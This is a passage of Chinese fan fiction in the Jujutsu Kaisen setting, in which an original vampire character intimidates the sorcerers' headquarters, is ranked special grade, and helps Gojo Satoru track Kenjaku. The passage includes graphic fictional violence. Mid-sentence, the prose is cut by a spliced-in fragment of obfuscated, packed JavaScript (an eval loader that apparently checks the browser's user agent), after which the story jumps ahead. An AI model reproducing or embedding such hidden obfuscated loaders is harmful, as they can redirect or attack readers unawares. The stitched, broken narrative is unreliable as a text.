“我在问你话。”绯月畏走到中年男人面前,比对方高出一个头的身高完全挡住了背后的灯光,阴影如棺盖般覆下,“你让五条悟,为谁想想?” 声音很轻,却冷得像化雪时的风,刮得人耳膜生疼。 男人嘴唇哆嗦,一个字都吐不出来。他肩上那只看不见的手正在加力——五条悟能看见,能量在缓慢渗透进关节、骨骼、骨髓,再往下半分,这对膝盖就永远站不起来了。 “够了。”五条悟开口,声音里带着笑,“绯月老师,给个面子嘛~他们好歹是‘官方代表’。” 赤色能量如潮水般退去。 七个人瘫在地上大口喘气,冷汗浸透了后背的和服。绯月畏看都没看他们,径直走到空着的沙发前坐下,长腿一翘,双手搭在扶手上。那姿态不像客人,像王座上听取禀报的君主。 “公文。”她只说两个字。 中年男人连滚爬起,双手颤抖着将那份被掼在茶几上的文书捧过去——纸张边缘还沾着他刚才拍桌时溅上的茶水。 绯月畏没接,只扫了一眼封面。 「依《咒术师管理条例》第三章第五条……特邀请绯月畏阁下赴京都总部进行能力评估……」 “字很多,”她抬眼,墨镜后的视线像手术刀,“意思很少。结论是?” “结论是,”五条悟笑嘻嘻地走过来,接过文书翻开,“老橘子们想看看你到底有多‘特级’,好决定是把你看作‘武器’还是‘威胁’。” 他把文书丢回茶几,纸张飘落的声音在死寂中格外刺耳。 “浪费我的时间。”绯月畏起身,“告诉那些屏风后面的人——” 她顿了顿,转向门口,声音清晰地传进每个人耳中: “我赴约。但这是第一次,也希望是最后一次。再有下一次,邀请函请用能让我感兴趣的东西书写。” “比如,”她回头,墨镜滑下半寸,露出那双非人的绯色眼眸,“一颗新鲜的脑袋。” 门轻轻合上。 校长室里只剩下冷汗涔涔的总监部成员,和笑得肩膀发抖的五条悟。 “哎呀呀,”他抹了抹眼角不存在的泪,“我家长老脾气不太好,各位多担待~” ——## 门扉合上,屋内只剩下五条悟和夜蛾校长两个人时,五条悟突然笑出了声: “呀——好生气呢,这可怎么办呢?要不要准备专业的摄像机带去烂橘子被锤烂的现场拍高清照片呢?” 夜蛾校长皱起眉头,不赞同地喊了一声,“悟,这不是能开玩笑的事情。” 五条悟摆手,“放心吧校长,只要总监部的烂橘子们安分守己,没有妄想着去控制一位实力强大,没有羁绊的特级,他们自然会活得好好的!” 夜蛾校长眉头皱得更紧了,他担心的就是这一点啊!总监部是会安分守己的人吗?怎么可能! “悟,最好不要让她动手。” 五条悟摊手,叹了口气,“校长,不是我不想帮你,而是绯月小姐的实力到现在我还没摸到底,我不确定我能不能拦得住她,就算拦得住,我和她要是打起来,你信不信整个东京都不够我俩热身的?” 校长抬手按住了额头,“尽量……” “行吧,”五条悟起身,“我只能说尽量哦……” 翌日,得知绯月老师要进行正式的等级评定所以周一的礼仪课由夜蛾校长代上,但是夜蛾校长在看过五条悟写出来后一字未改的教案以后,表示不会上这节课,于是干脆安排了学生自习。 三个一年级在台下挤眉弄眼,夜蛾校长权当没看见,直到熊猫都快蹿到狗卷棘的课桌后面了,才猛地咳了一声,把人惊回座位后才低下头重新翻看手里的书。但是一节课下来,连手上的书拿倒了都没注意。 另一边,由于双方间更加的强势的绯月畏本人是个昼伏夜出的作息,原定在一大早的评级测定不得不放到了黄昏时刻。但是直到夜幕降临,繁星满空了,绯月畏才和五条悟两人慢悠悠地走进总监部的木制宅院。 ——## 京都,总监部本部的木制宅院在暮色中像一头匍匐的巨兽。 绯月畏和五条悟踏进大门时,腐朽的木头味扑面而来——不是老宅自然的陈腐,是某种更深层的东西腐烂后渗进梁柱骨髓里的气味。她皱了皱眉,指尖在鼻翼前轻轻一挥,空气瞬间清新了半分。 “一股烂橘子的味道,对吧!”五条悟兴致勃勃。 引路的中年人脸色发青,却不敢吭声,只埋头带路。穿过三道回廊,停在一间和室前。纸门拉开,里面跪坐着个穿墨色和服的老者,闭着眼,拐杖横在膝上,面前小几堆着厚厚一沓纸张。 “绯月小姐,请——”引路人刚开口。 绯月畏已经走进室内,看都没看老者,直接问:“死了?” 空气凝固。 老者猛地睁眼,浑浊的眼珠瞪过来。下一瞬,他身下的榻榻米无声裂开一道细缝——不是裂,是“消失”,连同他盘坐的双腿从膝盖以下,齐齐不见了。 “啊——!!!” 惨叫迟了半拍才响起。老者后知后觉地低头,看见自己空荡荡的裤管,才意识到发生了什么。鲜血没有喷溅,断面平整得像镜面,甚至能看见骨骼和肌肉的纹理——某种力量在切割的同时封锁了血管。 “反正是摆设,”绯月畏整理了下袖口,语气平淡得像在评论天气,“放着碍眼,砍了清净。” 她转身走向下一间屋子,五条悟跟在她身后,墨镜滑到鼻尖,苍蓝的六眼盯着那对断腿看了两秒,嘴角一点点咧开。 “哇哦。”他小声说,声音里带着一种近乎惊叹的愉悦。 ——## 评定科的办公室摆满了屏风——十二扇,围成半圆,每扇后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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细微的碎裂声从水晶内部传来。接着,以她指尖触碰点为圆心,蛛网般的裂痕瞬间蔓延至整个球体。没有爆炸,没有闪光,只是安静地、彻底地化为一堆晶莹的粉末,在灯光下闪着细碎的光。 “仪器故障,”绯月畏收回手,语气平静,“下一个。” 五条悟靠在门边,墨镜后的眼睛一眨不眨。他看清了——不是没有咒力,是她的能量维度太高,高到这种低级仪器根本“读不懂”,就像二维生物无法理解三维物体的全貌。强行读取的结果,就是过载崩溃。 ——## 在绯月畏耐心告罄之前,最后一项测试被安排在最初的屏风室。 只是这次,十二扇屏风全亮着,后面的人影比之前更加紧绷。主考官的声音从正前方屏风后传来,带着强装的镇定:“最后,请展示您最具破坏性的术式,我们需要评估失控风险——” 绯月畏终于抬眸,看向那扇屏风。 “你确定?” “……这是必要程序。” 她伸出手。掌心向上,皮肤下泛起极淡的血色光晕,然后——一滴血渗了出来。 不是涌出,是“渗”,像露珠凝结在叶尖。暗红色,内部有星芒流转,悬浮在离掌心半寸的空中。 威压如山崩般炸开。 不是咒力的冲击,是更本质的东西——生命层次的碾压。防护结界发出不堪重负的哀鸣,监测仪器接连爆出火花,屏风剧烈摇晃,后面传来压抑的闷哼和咳嗽。 五条悟适时展开无下限,淡蓝色的屏障护住了吓瘫的主考官。他站在绯月畏侧后方,视线落在那滴血上,喉结无意识地滚动了一下。 不是恐惧。是一种更复杂的情绪——像登山者仰望从未有人征服的绝峰,像天文学家发现颠覆认知的新星,像……赌徒看见了一场值得押上一切的豪赌。 绯月畏收起血滴,威压瞬间消散。 “闹剧结束了。”她转身走向门口,声音清晰地传进每一扇屏风后,“我的评级,你们没资格测定。天亮以前让我看到结果。若有异议——” 她停下脚步,微微侧头。 “下次见面时,记得带够人来收尸。” 门合上。 下一秒,十二扇屏风后同时传来“噗”的喷溅声。猩红的血点溅上纸面,像一夜之间盛开的彼岸花。灯光一盏接一盏熄灭,黑暗中只剩下压抑的咳嗽和呻吟。 ——## 回程的车内,五条悟笑了整整五分钟。 “恭喜!”他抹着笑出的眼泪,“你现在是咒术界历史上第一个‘待评估’特级了!还是用一滴血和十二个老橘子吐血换来的!” 绯月畏看着窗外流逝的夜景:“他们的恐惧很新鲜。不是对力量的恐惧,是对‘无法归类’的恐惧。” “因为你跳出了他们所有的框框嘛~” 她忽然转头看他:“你早就料到了?” 五条悟笑容不变:“我料到他们会自取其辱。但没料到……”他顿了顿,声音低下来,“你会用一滴血就解决。” 墨镜后,他的视线在她侧脸上停留了一秒,又迅速移开。指尖无意识地摩挲着手机边缘——里面存着刚才拍下的、她画那个古老图腾时的照片。 一种陌生的悸动在胸腔里蔓延。不是爱情,不是欲望,是更原始的、属于强者对更强存在的本能向往——像幼狮第一次看见成年雄狮撕碎猎物,血脉深处有什么东西苏醒了。 “五条悟。”绯月畏忽然叫他的名字。 “嗯?” “你刚刚,”她缓缓转回头,墨镜映出他模糊的倒影,“心跳快了十七拍。” 五条悟的笑容僵了一瞬。 然后他咧开嘴,笑得比平时更加夸张:“哇,被发现了~毕竟看到那么精彩的场面,有点兴奋很正常吧?” 绯月畏没再说话,转回去继续看窗外。 舌尖抵了抵腮帮,五条悟无声笑了下,墨镜后的眼睛很亮。静默的车厢内,有什么在悄然发生变化。 车驶入高专山路时,手机震动。五条悟瞥了一眼——总监部群发的正式通告,时间戳00:00。 「即日起,绯月畏列为特级咒术师(术式未知/危险性待评估),由五条悟负责监管指导。特此通告。」 咒术界的第四位特级,在午夜钟声敲响时诞生。 而缔造这一结果的两个人,一个靠在车窗上闭目养神,另一个盯着手机屏幕,嘴角的笑意久久未散。 ——## 回到学校时,校门口遇到了夜蛾校长和家入硝子,不远处的灌木丛后,还有几个脑袋鬼鬼祟祟地躲藏着。 夜蛾校长神情复杂地对绯月畏道了声“恭喜”,然后就离开了。 家入硝子的评价:“你们俩今天又去拆了一次总监部的台?” 五条悟:“是绯月老师单方面碾压啦~我只是鼓掌的观众~” 但是等五条悟转过头时,身边已经没了人影。 “诶?” 再定睛一看,心情还没恢复的绯月老师轻若无物地飘在灌木丛上方,对着下方神情僵硬的两人一熊冷着脸道:“作业。” 五条悟:“……诶嘿!” 被抓包的一年级:“……” 家入硝子:“……哇喔。” 17. 专属幕僚 时隔半年多,升任五条家长老之一的特级咒术师绯月畏,在特级评定结果引起咒术界轩然大波的时候,终于第一次踏进了位于京都的五条本宅。 披星戴月的绯月长老还是一身简洁的白衬衣和长裤,风衣都没套,就这么空着手走进了五条家大宅。 一群长老半夜被惊醒后来到会客室时,已经有长眼色的下人送上了热茶与细点,甚至送上了最近的报纸供翻阅。 换个人就得因为这些长老甚至家主都没有过的待遇得到挂络了,但是在看到那个支着腿用五条家主同款坐姿倚在上座的新特级术师,气势汹汹进门的长老们瞬间哑火,规规矩矩地整理好衣服立在两边,跟罚站一样。 虽然特级评定才出来,但是五条家在总监部又不是没人,那一场血溅总监部得来的等级,五条家也有长老贡献了一口心头血! 对着一个年纪不大的小姑娘,一群老头子面面相觑后推出了地位最高的大长老。 大长老深吸一口气,“绯月长老,深夜造访五条家,可是有需要我等帮助的地方?” “帮助?”绯月畏放下报纸,露出脸上的墨镜,“就你们加起来都没有一级的战斗力吗?” 一群长老顿时脸色铁青。 想起什么,绯月畏放下报纸,一只手搭在茶几上,“五条家有给我准备客房吗?” 大长老双手搭在拐杖上,“绯月长老说笑了,您回五条家哪里需要住客房。”随即脸色有些纠结地说:“按家主的安排,将您的房间安排在了家主卧室的旁边。” 绯月畏露出来的半张脸看不出来喜怒,只是略微一颔首道:“知道了。退下。” 长老们脸色变幻,却没人敢反驳。等退出走廊,才后知后觉被一句话打发了。 “这成何体统……” 大长老揉眉心:“等悟回来。” 话音未落,走廊尽头传来轻快脚步声。 五条悟哼着歌晃进来,白发在月光下亮得晃眼。看见会客室灯光,眼睛一亮推门而入。 “呀,我就知道你这点醒着。” 他在绯月畏对面盘腿坐下,捞过她没动的茶点塞进嘴里。 绯月畏放下报纸。 “找到了?” “有点线索。”五条悟灌茶,“近些年头部重伤却奇迹存活的人里,三个康复记录被动过手脚。纸张批次对不上——” 他眨眨眼,墨镜滑到鼻尖露出苍蓝六眼。 “不过具体位置待确认。怎么样,幕僚小姐,跑一趟?” 绯月畏盯着他两秒。 “现在?” “……”五条悟放下茶杯做苦脸,“我说,有没有可能——人类需要睡觉?” “我以为你不需要。” “喂喂,过分了啊。” “半年才这点线索,”绯月畏叠报纸,“你怎么睡得着?” 五条悟拉下墨镜无辜脸:“老鼠往人群一钻,跟水滴入海没区别。找到三个疑点已经是五条家加班成果了。” 他忽然凑近,笑容狡黠。 “正式当我幕僚吧?五条家资源随你用,总监部档案库权限我也有。比你一个人翻故纸堆快。” 绯月畏起身走到窗边。月光下枯山水泛冷白光,石砾波纹像凝固的浪。 “幕僚做什么?” “帮我看那些看不完的报告,揪出被动手脚的数据。”五条悟跟过来靠窗框,“还有——” 他顿了顿,声轻下来。 “在我偶尔怀疑‘这么做有没有意义’时,提醒我当初为什么开始。” 绯月畏侧头。 月光从墨镜边缘滑过,在脸颊投细长影。 “你的‘意义’太沉重。”她说,“而我只是路过的。” “路过的旁观者才看得清。”五条悟笑,“当局者迷。” 窗外虫鸣细碎。夜风穿回廊带池塘水汽。 良久,绯月畏说: “我可以帮你看。” 五条悟眼睛亮。 “但只是看。”她补充,“不参与决策,不承担后果。你看漏我指出,你算错我纠正。但路怎么走,是你的事。” “成交!”五条悟伸手。 绯月畏看那手,没握,只淡淡点头:“房间在哪?” —— 翌日中午,五条家长老们再次扑空。 赶到主院只看见远去汽车尾气,和院子里被咬一半、随意丢石阶的菠萝包。 “家主——!!!” 车内,五条悟兴致勃勃刷手机。 “快看,咒术师匿名版又在吵架——‘新特级究竟何方神圣’,哇,猜得一个比一个离谱……” 绯月畏靠后座闭目养神。阳光从车窗斜射,在她苍白脸投暖色光斑。呼吸很轻,轻到几乎不存在。 伊地知后视镜偷瞄一眼,迅速移开。 “伊地知,”五条悟突然开口,“收好视线。” “是、是!” “我们绯月老师不喜欢被人盯着看哦~当然,我看除外。” 绯月畏没睁眼:“你也别看我。” “诶——这就不讲道理了,幕僚雇主之间要有基本信任嘛!” 车驶入山林路段。两侧树木渐密。 “停车。” 车身转过弯进了树林,绯月畏突然开口。 “哧——”的一声长刹车,伊地知下意识地踩下刹车停了下来,然后余光看向身后,“呃,那个……” 五条悟脸上缠着黑色的绷带,从手机里抬起头来,但是绯月畏没有再说话,甚至墨镜之后的眼睛都没睁开。 伊地知突然睁大了眼睛,“诶?”前方十米树梢无声落下人影,紧接着第二道、第三道、第四……十几人影从林现身,呈半圆围车。咒力阴冷粘稠——诅咒师。 “哇喔,”五条悟趴前座椅背,语气兴奋,“好大阵仗!不过——”他歪头,“好弱啊,平均二级。” 伊地知脸色发白:“五、五条先生……” “别慌嘛。”五条悟掏手机点页面递绯月畏面前,“看,咒术界悬赏系统。这些人头加起来……大概八千万?” 屏幕密密麻麻列诅咒师信息。 绯月畏看一眼。 “开车。” 伊地知愣:“可、可是——” “伊地知,”五条悟拍他肩,“照做哦~” 话音落,伊地知咬牙踩油门。 车如离弦箭冲出,直撞人群。诅咒师们显然没料这招,有人结印,有人闪避—— 然后他们看见永生难忘景象。 以车为中心半径五十米内,空气泛肉眼可见涟漪。不是咒力波动,是更本质东西——空间“质地”改变。 第一个触那道无形边界人,右手伸入瞬间消失。 不是切断,是“消失”。从指尖到手腕,像被橡皮擦抹去铅笔痕迹,断面光滑如镜,无流血无疼痛前兆。 接着第二个、第三个…… 所有试图拦截人,在进入那范围瞬间,身体接触部分直接湮灭。手臂、腿脚、甚至半个身子。 车呼啸过,留下一路残缺躯体和非人哀嚎。 五条悟趴车窗往回看,六眼收每一细节。 “半径五十米,”他轻声,“目之所及皆可为刃……看不见咒力的流动痕迹,这群人会吓哭的吧!” 他转头看绯月畏,眼神亮。 “你能同时覆几个?” “理论上无限。”绯月畏重新靠座椅,“但会累。” “那叠加呢?比如五十米内再嵌套更小?” 绯月畏睁眼,墨镜后视线落他脸。 “你想做什么。” “研究一下嘛~”五条悟笑人畜无害,“万一以后需配合战斗——” “我不会和你配合战斗。” “诶——这么绝情?” “我的‘范围’不分敌我。”绯月畏说,“进入的,除我允许,都会消失。你要试?” 五条悟眨眼,忽然伸手戳她肩。 指尖距三厘米处停——不是他停,是某种无形屏障挡。不是无下限柔性阻隔,是更坚硬、更绝对“拒绝”。 哇哦。”他收手,指尖残留轻微麻痹感,“连我无下限都能穿透?” “不是穿透。”绯月畏重新闭眼,“是‘你无下限’这概念,在我范围内不被承认。” 车内安静几秒。 五条悟忽然笑出声,笑声越来越大。 “太棒了……”他抹眼角,“你真太棒了。” 他凑近她,声压很低,带某种炽热兴奋: “你知道吗?咒术界所有人,包括我自己,都在用‘咒力’框架思考问题。但你跳出这框。你力量不是‘咒术’,是更古老、更根本东西。” 绯月畏终于正眼看他。 “所以?” “所以我想知道,”五条悟说,语气从未有过认真,“若让你设计全新体系,会什么样子?若让你重构规则——” 他停下了。 因为绯月畏抬手,食指隔空抵他唇前——没触碰,但足够让他闭嘴。 “五条悟。”她说,“幕僚工作是‘查漏补缺’,不是替你‘重写剧本’。” 她收手,望窗外。 “你要改革,可。但那是你的战争、你的理想、你的责任。我能做的,只是你走错路时提醒你。至于路怎么走——” 她转头,墨镜映他怔然脸。 “那是你该想的事。” 车在沉默驶十分钟。 五条悟忽然开口:“但我需要你。” “什么?” “我需要你提醒我,需要你纠正我,需要你在所有人都说‘这样就行’时告诉我‘还不够’。”他摘墨镜,苍蓝六眼直直看她,“我需要一个……不会因我是‘五条悟’就妥协的人。” 绯月畏与他对视良久。 然后她说:“你会后悔的。” “为什么?” 她转头,“当我认你错,我会说。当我认该放弃,我会说。当我认有些人该死——我也会说。” “海外那个强大的国家有句古话我很认可,”绯月畏说:“打江山容易守江山难。” 绯月畏学者五条悟的动作抬手戳了戳对方肩膀,第一下戳空了,第二下指尖却实打实戳到了柔软的衣料,绯月畏没在意,道:“你没有能守江山的班底,也没有从新建立一个新制度的脑子,没被逼到触底反弹的境界时你甚至都没有揭竿而起的魄力,你舍不得你那些鸡崽子流血,作为一个堪称天真的盟友,你凭什么觉得我会出这个手然后让你坐收渔翁之利?” 五条悟在手机上点了点,将一张照片亮了出来——那是奈良灯会那天从山顶看下去时看见的万家灯火。 他说:“凭夜晚也需要有光。” 绯月畏愣住了,收回手坐回去。 过了许久,久到五条悟手里的手机屏幕都已经自动息屏很久了,她的声音才在车厢里响起来: “没有下不为例。一次——你做不到我会直接抛弃你。” 五条悟笑。 那笑容里无轻浮,只一种近乎狂妄坦然。 “试试看啊。”他说,“看是你先受不了我天真,还是我先受不了你残酷。” 车在这时停。 伊地知战兢兢声传来:“五条先生,到了。” 窗外是欧式别墅铸铁大门,哥特尖顶在阳光下投扭曲影。 五条悟推门下车。 “来吧,幕僚小姐第一项工作——”他回头,咧嘴笑,“陪我看看,那只老鼠在这里留什么。” —— 别墅内部弥漫腐朽气。 五条悟走前方,六眼扫每一角落。大厅空旷,只地板上用暗红颜料绘巨大阵图——那红太深,深像干涸血。 他蹲下查看。 “召唤类阵,但召唤对象被抹去。”他起身,“有人比我们先到,把‘祭品’拿走了。” 话音未落,整栋别墅震动。 不是地震,是以阵图为圆心空间扭曲。墙像融化蜡流淌,天花板向下塌陷。 “帐?”绯月畏皱眉。 “不,是咒灵领域。”五条悟站原地,任由扭曲结构穿他身体,“虽不完整,但够用。” 天花板上渐成型黑影,是由石头、木材和怨念糅合怪物,浑身长满眼。 “一级咒灵,被领域强化。”五条悟评价,“哇,眼真多。” 咒灵尖啸 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绯月畏没答。她正要走向角落,五条悟却先一步动了。 六眼比她的感知更早锁定目标——就在咒灵核心湮灭处,有东西坠落。五条悟弯腰从瓦砾中拾起那物,动作自然得像捡起掉落硬币。 那是一截形似枯木的东西,用写满咒文符纸紧裹。但真正让五条悟眼神微凝的,是“枯木”散发出的咒力浓度——黏稠、阴冷、古老,像千年怨毒凝结成的实体。即使被符纸封印,那股威压仍让空气都变得沉重。 “这是……”绯月畏走过来,视线落在符咒上,“你们咒术界的东西?” 五条悟指尖摩挲符纸边缘。书写手法很古老,但封印结构有近期加固痕迹。他抬眼看向绯月畏:“为什么这么说?” “符咒的绘制方式和你们总监部那些文书上的印记有相似纹路。”绯月畏语气平淡,“同源的手法。所以是咒术界制造的,还是说——” 她顿了顿,墨镜后的视线扫过废墟。 “那个脑花有同伙藏在你们体系里,在合作制造并豢养这些东西?” 五条悟笑了,笑容里没什么温度。 “都有可能。咒术界烂橘子们为了权力什么都能卖,而羂索——”他抛了抛手中枯木,“他最擅长找这种‘合作伙伴’。” 他将枯木收进特制咒符袋,动作流畅得像做过千百遍。但在拉上袋口前,绯月畏忽然开口: “那东西是什么?” 五条悟拉袋口的动作顿了一瞬——极短暂,几乎不可察。但他确实顿了。 “特级咒物。”他说,语气轻松得像在介绍甜品,“咒力浓度高到离谱的玩意儿,整个日本也没几个。得专门封印处理。” 所以刚才那个咒灵是被这东西催生出来的?” “大概率是。”五条悟拉好袋口,将袋子收进内侧口袋,“有人把它当‘诱饵’或‘催化剂’,放在这里养蛊。等咒灵强到一定地步,要么收服,要么……有别的用途——比如拖延时间?” 他转身走向别墅深处,没再继续这个话题。 绯月畏看着他的背影,没追问。她能感觉到五条悟在隐瞒什么——关于那截枯木的真正来历,关于它为何会在这里,关于他收起它时那种下意识的谨慎。 但她不在乎。 她的目标是羂索,是那个额头有缝合线、玩弄生命与灵魂的千年阴谋家。至于咒术界的秘密物品、特级咒物、甚至五条悟那些没说出口的顾虑——都与她无关。 两人在走廊尽头的书房找到一具尸体。 中年女性,颅顶被整齐打开,大脑不翼而飞。伤口边缘有极淡缝合线痕——不是术式,是物理缝合。 “换身体的前置工作。”五条悟蹲下查看,声线平稳得近乎冷酷,“这具‘容器’已经没用了,所以被丢弃在这儿,顺便给我们留点‘礼物’。” 他站起身,拍了拍绯月畏的肩,动作很轻。 “不过至少证明线索是真的。那只老鼠确实在这儿待过,而且刚走不久。” 绯月畏看着那具尸体,墨镜后的眼神冷得像冰。 “容器。”她重复这个词,语气里带着毫不掩饰的厌恶,“把人当作可替换的零件……真是千年如一日的无聊把戏。” 五条悟侧头看她:“你见过类似的事?” “算是吧……我见过太多人试图用这种方式获得永生。”绯月畏转身走出书房,“结局都一样——要么在无数次替换中失去自我,变成只会吞噬的空壳;要么被更贪婪的存在盯上,成为别人的‘容器’。” 她停在走廊窗前,望向外面渐沉的暮色。 “永生不是恩赐,是刑罚。而有些人,连这都不懂。” 五条悟跟上来,与她并肩站在窗前。夕阳将两人影子拉长,在走廊地板上交叠。 “那你呢?”他问,“作为听起来可以永生的存在,始祖小姐觉得活着是什么?” 绯月畏沉默了很久。 久到夕阳又下沉一寸,久到远处山林传来归鸟的鸣叫。 “活着,”她最终说,“是记住。” “记住什么?” “记住每一个选择带来的代价,记住每一个失去之人的脸,记住每一次黎明前最深的黑暗。”她转头看他,墨镜上映出他怔然的侧影,“然后第二天太阳升起时,继续往前走——哪怕你不知道前方有什么。” 五条悟笑了。 不是平时那种轻浮的笑,是更真实的、带着某种共鸣的笑。 “听上去,”他说,“和‘最强’的日常差不多嘛。” 绯月畏没说话,但嘴角极轻微地动了一下——那可能是个笑,也可能只是光影造成的错觉。 “走了。”她转身走向出口,“这里没更多价值了。” 五条悟跟上去。在踏出别墅前,他回头看了一眼书房方向。 那具尸体、那截“枯木”、那个被用来养蛊的残缺领域……所有线索像散落的拼图,在他脑中开始组合。 还缺几块关键部分。 18. 跟着最强做任务 离开别墅废墟后,伊地知熟门熟路地联系五条家善后,然后战战兢兢地递上新任务报告——就像早有预谋,第三个任务的通知在五条悟刚上车时就到了。 绯月畏在返程途中买了本厚重的笔记本。车窗外霓虹灯流淌成河,她在纸页上快速勾画符号与连线,笔尖划过纸张的声音沙沙作响。五条悟凑过来看,发现那些既不是文字也不是咒文,而是一种更抽象的图示:咒力波动的波形图、任务地点的空间坐标、时间分布的密度曲线,甚至还有咒灵强度与人口密度的关联模型。 “这是什么?”他好奇。 “数据分析。”绯月畏头也不抬,“你们‘窗’的报告充满主观描述和模糊判断,我需要客观数据。” 她翻到新一页,写下标题: 《咒术任务分配体系初步问题分析》 “第一,任务优先级判定混乱。”她用红笔划出重点,“别墅任务是‘追踪疑似脑花据点’,优先级在你这里应列为最高,但实际处理顺序排在同日七个二级任务之后。第二,情报传递效率低下。老宅任务中,两名咒术师失联四小时才上报特级,而根据咒力残秽分析,他们在进入后二十分钟内就已失去战斗能力。” 五条悟摘下墨镜,六眼认真看着那些图表。 “你怎么知道是二十分钟?” “血液凝固程度、咒力消散曲线、以及……”绯月畏翻到前一页,上面是手绘的庭院平面图,标注了十几个红点,“他们在庭院里留下的挣扎痕迹。第一个咒术师在石灯笼旁被拖行三米,第二个试图结印反击,但在手印完成前就被击穿胸口——从倒地姿势看,是瞬间失去意识。” 她抬起头,墨镜后的视线冷静得像手术刀。 “五条悟,你们的任务派遣系统不是效率低下,是在系统性浪费人命。” 车内安静了几秒。 然后五条悟笑了,笑容里没什么温度。 “我知道。”他说,“所以我需要你帮我证明这一点——用他们无法反驳的数据。” ——## 第一个正式合作任务在午夜抵达。 五条悟刚躺下不到两小时,手机就像发了疯般震动。他看了眼屏幕——不是常规通知,是总监部直属加密频道的紧急调令。 “特级咒术师五条悟、绯月畏:横滨港区仓库群出现‘疑似特级咒胎’,咒力波动异常,窗无法判定,即刻前往处理。任务编号:特-紧急-009。” 绯月畏已经站在走廊,白衬衫整齐得仿佛从未休息,长发用一根简单的木簪束起。她手里拿着笔记本和笔,像个准备上考场的学生。 “走吧。”她说,“我需要现场数据。” 五条悟看着她这副架势,忽然觉得有点好笑——像看到一个认真做课题的研究员。 “你不觉得累?” “血族不需要人类规格的睡眠。”绯月畏转身下楼,“而且比起休息,我更想知道——为什么‘窗’连咒胎和成熟咒灵都分不清。” 横滨港区的深夜弥漫着海腥与铁锈味。废弃仓库群像巨兽的骸骨匍匐在海岸线上,远处集装箱码头的灯火映得这片区域更加阴森。 车停在两百米外。伊地知刚想布下“帐”,五条悟就摆手制止。 “不用,很快结束。” 他推门下车,绯月畏跟在他身后五步,打开笔记本开始记录: 「时间:02:17。地点:横滨港区7号仓库。环境:密闭空间,金属结构,对咒力传导有轻微干扰。观测者:五条悟(特级),绯月畏(记录员)。」 仓库大门半敞,黑暗像粘稠的墨汁般涌出。五条悟径直走进去,脚步声在空旷中回荡。 “喂——有人在吗?”他喊,语气轻松得像逛超市,“特级咒胎小朋友,叔叔来看你了~” 黑暗中传来黏稠的蠕动声。 紧接着,仓库四壁、天花板、地面——数以百计的眼睛同时睁开。不是咒灵的眼睛,是空间本身裂开的瞳孔,密密麻麻,全部锁定五条悟。 绯月畏停在门口,笔尖快速移动: 「现象:空间畸变,疑似未完成领域展开前兆。特征:多重复眼结构,视觉类咒术变种。威胁等级:伪特级(实际强度一级,但领域特性使其具备特级威胁性)。」 “领域展开的前兆。”她抬头说,“但结构粗糙,咒力流转不畅——是被人为催熟的。” 五条悟挑眉:“你能看出来?” “空间是我的领域。”绯月畏平静地说,“我能感觉到这片区域的‘质地’被强行扭曲过,就像把一张纸揉皱再勉强摊平,褶皱还在。” 话音未落,所有瞳孔同时流下黑色的泪。泪水滴落处,空间开始融化、扭曲,像烧焦的胶片。 五条悟站在原地没动。 他抬起右手,竖起食指。苍蓝色的光在指尖凝聚,不是球体,而是一根极细的光针——细到肉眼几乎看不见,但蕴含的咒力密度高得骇人。 “术式顺转·苍——微缩定向版。” 光针射出。 没有巨响,没有爆炸,只有一声极轻微的“嗤”声,像烧红的铁签刺入冰块。光针没入仓库深处某一点,那里是数百个瞳孔的能量交汇处。 下一秒,所有瞳孔同时炸裂。 黑色的血从墙壁渗出,整栋仓库像在流血。空间扭曲迅速消退,露出仓库中央那团蠕动的东西——一个人形咒胎,浑身长满未成型的眼睛,此刻正痛苦地蜷缩。 “为什么要把招式念出来?” “因为在咒术的应用中,大部分的术式公开故事效果后,可以获得该术式的效果加强。” 绯月畏闻言,点了下头。 “核心暴露了。”五条悟走过去,俯视着咒胎,“果然是被催熟的,连完整意识都没有,只是怨念和咒力的集合体。” 他抬起手,准备最后一击。 “等等。”绯月畏走进来,在咒胎三米外停下,“它体内有东西。” 五条悟的六眼立刻聚焦。咒胎心脏位置,嵌着一小块暗红色的结晶——和别墅里那截枯木上的,同源。 “又是这个……”他皱眉。 “先取出来。”绯月畏说,“我想分析这个东西与咒胎的共生关系。” 五条悟点头,指尖凝聚更精细的咒力。三秒后,结晶被完整剥离,咒胎随之化为黑烟消散。 绯月畏在五条悟用特制的咒符袋收起结晶之前拿在手上观察了一圈,随后在笔记本上记录: 「发现:咒胎体内嵌有外来结晶(编号002,与别墅结晶001同源)。假设:结晶可作为咒灵培养的‘催化剂’,加速其进化并植入特定特性。待验证:结晶来源、制作工艺、投放目的。」 她合上笔记本,看向五条悟。 “现在,请解释。”她说,“什么是‘领域展开’?原理是什么?为什么刚才那个咒胎的领域不完整?” 五条悟眨了眨眼。 “哇,真突然。不过好吧——”他盘腿坐下,像给小学生讲课般竖起手指,“首先,‘领域展开’是咒术战的终极形态。简单说,就是在现实世界展开一个由施术者完全掌控的‘小世界’。在这个世界里,施术者的术式会得到‘必中’效果,而且威力倍增。” “原理呢?” “用咒力侵蚀现实,用术式重构规则。”五条悟打了个响指,一小片淡蓝色的光芒在他掌心展开,形成一个微缩的透明立方体,“看,这是我的‘无下限’的简化版领域——虽然很小,但在这个立方体里,一切接近我的东西都会无限减速。” 绯月畏盯着那个立方体,绯色眼眸微微发亮。她能看见——不是用眼睛,是用对空间的感知——那个立方体内部的时间流速、空间曲率、能量流向都在被某种力量精细调控。 “所以完整的领域,需要施术者拥有足够庞大的咒力、精密的术式控制力、以及……”她顿了顿,“对‘规则’的理解?” “Bingo!”五条悟散掉立方体,“所以刚才那个咒胎的领域不完整,不是因为它咒力不够——一级咒灵有那种咒力储备已经超标了——是因为它根本没有‘意识’去理解规则。它的领域是被人用那个结晶‘灌’出来的,就像给空壳机器人输入预设程序,能运行,但僵化、脆弱、一戳就破。” 绯月畏快速记录,然后抬头。 “下一个问题:咒力残秽的分析标准是什么?你们如何通过残秽判断咒灵等级、术式特性、甚至存在时间?” 五条悟笑了。 “这个啊,得现场教。走吧,第二个任务在路上等我们呢。” ——## 第二个任务在京都,但前往途中总监部的联络又来了三次——一次是催促,一次是询问“绯月特级是否具备独立执行任务能力”,最后一次几乎是明示:“总监部建议绯月特级可单独处理部分一级任务,以缓解五条特级负担。” 